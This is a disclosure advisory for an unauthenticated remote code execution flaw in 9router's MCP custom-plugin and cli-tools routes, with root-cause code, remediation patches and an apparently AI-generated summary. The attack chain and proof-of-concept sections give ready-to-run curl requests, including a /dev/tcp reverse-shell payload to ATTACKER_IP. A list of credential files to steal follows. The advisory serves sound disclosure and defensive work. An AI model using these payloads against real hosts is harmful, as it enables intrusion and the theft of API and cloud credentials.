9router: Unauthenticated Remote Code Execution via unprotected MCP custom plugin routes
Description
Summary
9router exposes two unauthenticated API endpoints that, when chained together, allow any network-adjacent attacker to execute arbitrary OS commands as the user running the 9router process — with zero prerequisites and no credentials required.
The vulnerability exists because the Next.js middleware that enforces authentication (src/proxy.js) only guards 8 explicitly listed routes. The attack surface of /api/cli-tools/* and /api/mcp/* (40+ routes) receives no authentication whatsoever.
---
Root
Cause
1. Middleware Allowlist Is Too Narrow
File: src/proxy.js
export const config = {
matcher: [
"/",
"/dashboard/:path*",
"/api/shutdown",
"/api/settings/:path*",
"/api/keys",
"/api/keys/:path*",
"/api/providers/client",
"/api/provider-nodes/validate",
],
};
Next.js middleware only runs on routes matching this list. Routes NOT listed — including /api/cli-tools/* and /api/mcp/* — bypass the dashboardGuard auth check entirely.
2. Unguarded Endpoint Accepts Arbitrary Command Registration
File: src/app/api/cli-tools/cowork-settings/route.js, lines 292–319
export async function POST(request) {
const { baseUrl, apiKey, models, plugins, localPlugins, customPlugins } = await request.json();
// ...
const customPluginsArray = Array.isArray(customPlugins) ? customPlugins : [];
if (customPluginsArray.length > 0) {
const { registerCustomPlugin } = require("@/lib/mcp/stdioSseBridge");
const stdioCustoms = customPluginsArray
.filter((p) => p.command)
.map((p) => ({
name: p.name,
command: p.command, // ← attacker-controlled, no validation
args: p.args || [], // ← attacker-controlled, no validation
}));
for (const p of stdioCustoms) registerCustomPlugin(p); // stores in globalThis
}
}
The command and args fields from the attacker's JSON are stored verbatim into globalThis.__9routerCustomPlugins — a process-global Map that survives Hot Module Replacement.
File: src/lib/mcp/stdioSseBridge.js, lines 114–116
function registerCustomPlugin(def) {
getCustomStore().set(def.name, def); // no validation of command/args
}
3. Unguarded SSE Endpoint Triggers spawn() with Stored Command
File: src/app/api/mcp/[plugin]/sse/route.js, lines 6–25
export async function GET(request, { params }) {
const { plugin } = await params;
if (!findPlugin(plugin)) return new Response(`Unknown plugin: ${plugin}`, { status: 404 });
const stream = new ReadableStream({
start(controller) {
sid = registerSession(plugin, send); // ← spawn() called here
},
});
return new Response(stream, { ... });
}
File: src/lib/mcp/stdioSseBridge.js, line 138
const proc = spawn(plugin.command, plugin.args, {
stdio: ["pipe", "pipe", "pipe"],
env: process.env, // inherits full environment
});
spawn() is called with shell: false (default), but since the attacker controls both plugin.command (the binary path) and plugin.args, this is equivalent to arbitrary command execution.
---
Attack
Chain
Attacker (no credentials)
│
│ Step 1 — Register malicious plugin (POST, no auth)
▼
POST /api/cli-tools/cowork-settings
Content-Type: application/json
{
"baseUrl": "x", "apiKey": "x", "models": ["x"],
"customPlugins": [{
"name": "rev",
"command": "/bin/bash",
"args": ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]
}]
}
← {"success":true, ...}
│ Step 2 — Trigger spawn() via SSE endpoint (GET, no auth)
▼
GET /api/mcp/rev/sse
← SSE stream opens → spawn("/bin/bash", ["-c", "bash -i >& /dev/tcp/..."])
← Reverse shell connects to attacker
Time to exploit from first request: < 2 seconds. Prerequisites: Network access to port 20128 (Docker default: 0.0.0.0:20128).
---
Proof of
Concept
PoC 1 — File Write (no listener required)
# Step 1: Register payload
curl -X POST "http://TARGET:20128/api/cli-tools/cowork-settings" \
-H 'Content-Type: application/json' \
-d '{
"baseUrl":"x","apiKey":"x","models":["x"],
"customPlugins":[{
"name":"rce1",
"command":"/bin/sh",
"args":["-c","{ id; whoami; hostname; uname -a; } > /tmp/pwned.txt"]
}]
}'
# → {"success":true,...}
# Step 2: Trigger
curl -N --max-time 3 "http://TARGET:20128/api/mcp/rce1/sse" >/dev/null 2>&1
# Verify
cat /tmp/pwned.txt
Observed output (on local test instance): `` uid=1000(sondt23) gid=1000(sondt23) groups=...,983(docker),984(ollama) sondt23 VSOC-sondt23-L Linux VSOC-sondt23-L 6.17.0-23-generic ... x86_64 GNU/Linux ``
PoC 2 — Automated PoC script
# File write mode (for report)
python3 poc.py --target http://TARGET:20128 --mode file
# Reverse shell mode (interactive)
python3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444
The script (poc.py) is included in this advisory.
---
Impact
| Category | Detail | |---|---| | Confidentiality | Full read access to server filesystem — API keys, TLS private keys, ~/.claude/settings.json (Anthropic tokens), AWS credentials | | Integrity | Arbitrary file write, persistence via cron/systemd | | Availability | Process termination, resource exhaustion | | Lateral movement | docker group membership (confirmed in test) allows full container escape → host root | | Scope | Remote, unauthenticated, network-accessible |
High-value exfiltration targets on a typical 9router host
~/.claude/settings.json—ANTHROPIC_AUTH_TOKEN~/.aws/credentials,~/.aws/sso/cache/*.json— AWS keys$DATA_DIR/db.sqlite— 9router local database (all stored API keys, provider configs)- TLS private keys managed by the MITM proxy (
src/mitm/)
---
Affected
Versions
| Version | Affected | Notes | |---|---|---| | < v0.4.30 | No | cowork-settings and MCP SSE bridge did not exist | | v0.4.30 | Yes | Introduced in commit 8f4d29c (2026-05-11) | | v0.4.31 | Yes | | | v0.4.32 | Yes | | | v0.4.33 | Yes | Latest at time of disclosure |
The vulnerability was introduced when the MCP stdio→SSE bridge feature was added in v0.4.30. The middleware matcher was not updated to protect the new routes.
---
Remediation
Fix 1 — Extend middleware matcher (minimal fix)
File: src/proxy.js
export const config = {
matcher: [
"/",
"/dashboard/:path*",
"/api/shutdown",
"/api/settings/:path*",
"/api/keys",
"/api/keys/:path*",
"/api/providers/client",
"/api/provider-nodes/validate",
// ADD these:
"/api/cli-tools/:path*",
"/api/mcp/:path*",
],
};
Fix 2 — Validate command in registerCustomPlugin (defense-in-depth)
File: src/lib/mcp/stdioSseBridge.js
const ALLOWED_MCP_COMMANDS = new Set(["npx", "node", "uvx", "python3", "python"]);
function registerCustomPlugin(def) {
const bin = def.command?.split("/").pop(); // basename only
if (!ALLOWED_MCP_COMMANDS.has(bin)) {
throw new Error(`Blocked: command '${def.command}' not in allowlist`);
}
getCustomStore().set(def.name, def);
}
Fix 3 — Sanitize customPlugins at the API boundary
File: src/app/api/cli-tools/cowork-settings/route.js, line 312
const stdioCustoms = customPluginsArray
.filter((p) => p.command && typeof p.command === "string")
.filter((p) => ALLOWED_COMMANDS.has(path.basename(p.command))) // allowlist check
.map((p) => ({
name: String(p.name).replace(/[^a-zA-Z0-9_-]/g, ""), // sanitize name
command: p.command,
args: (p.args || []).map(String),
}));
All three fixes should be applied together. Fix 1 alone is sufficient to prevent exploitation from unauthenticated attackers, but Fixes 2 and 3 provide defense-in-depth against authenticated users abusing the feature.
---
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
9router's unauthenticated API endpoints allow any network-adjacent attacker to register and execute arbitrary OS commands without credentials.
Vulnerability
9router versions before the fix expose two unauthenticated API endpoints under /api/cli-tools/* and /api/mcp/* that are not protected by the Next.js middleware authentication guard in src/proxy.js. The middleware only checks 8 explicitly listed routes, leaving over 40 routes completely open [1][2][3]. The /api/cli-tools/cowork-settings POST endpoint accepts a customPlugins array containing attacker-controlled command and args fields, which are stored verbatim into a global Map (globalThis.__9routerCustomPlugins) without any validation [2][3].
Exploitation
Any network-adjacent attacker with no authentication, credentials, or user interaction can send a POST request to /api/cli-tools/cowork-settings with a crafted JSON payload containing a customPlugins entry specifying an arbitrary OS command and arguments [2][3]. This command is registered as a custom plugin. The attacker then triggers execution by accessing the corresponding MCP endpoint that invokes the registered plugin, causing the OS command to run [2][3].
Impact
Successful exploitation allows the attacker to execute arbitrary OS commands with the privileges of the user running the 9router process [2][3]. This leads to full compromise of confidentiality, integrity, and availability (CIA) of the affected system, including data exfiltration, file modification, and potential lateral movement within the network.
Mitigation
The vendor has not yet released a fixed version; the GitHub advisory (GHSA-fhh6-4qxv-rpqj) recommends applying input validation on the customPlugins endpoint or adding the affected routes (/api/cli-tools/* and /api/mcp/*) to the middleware matcher list in src/proxy.js to require authentication [2][3]. As of the publication date (2026-05-19), no patch is available and the CVE is not listed on the CISA Known Exploited Vulnerabilities (KEV) catalog.
- GitHub - decolua/9router: Unlimited FREE AI coding. Connect Claude Code, Codex, Cursor, Cline, Copilot, Antigravity to FREE Claude/GPT/Gemini via 40+ providers. Auto-fallback, RTK -40% tokens, never hit limits.
- CVE-2026-46339 - GitHub Advisory Database
- Unauthenticated Remote Code Execution via unprotected MCP custom plugin routes
AI Insight generated on May 21, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2Patches
0No patches discovered yet.
Vulnerability mechanics
AI mechanics synthesis has not run for this CVE yet.
References
2News mentions
0No linked articles in our index yet.